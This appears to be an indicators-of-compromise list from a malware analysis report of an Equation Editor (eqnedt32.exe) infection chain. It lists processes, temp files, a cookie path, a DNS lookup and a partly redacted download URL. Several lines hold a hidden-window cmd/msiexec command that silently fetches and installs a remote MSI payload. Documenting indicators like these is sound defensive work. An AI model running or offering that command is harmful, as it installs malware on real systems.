Technical Information
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://bu####ellgulf.com/z/form.msi /qn
- msibccd.tmp
- %APPDATA%\microsoft\windows\cookies\user@google[1].txt
- http://bu####ellgulf.com/z/form.msi
- DNS ASK bu####ellgulf.com
- '%WINDIR%\installer\msibccd.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://bu####ellgulf.com/z/form.msi /qn' (with hidden window)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://bu####ellgulf.com/z/form.msi /qn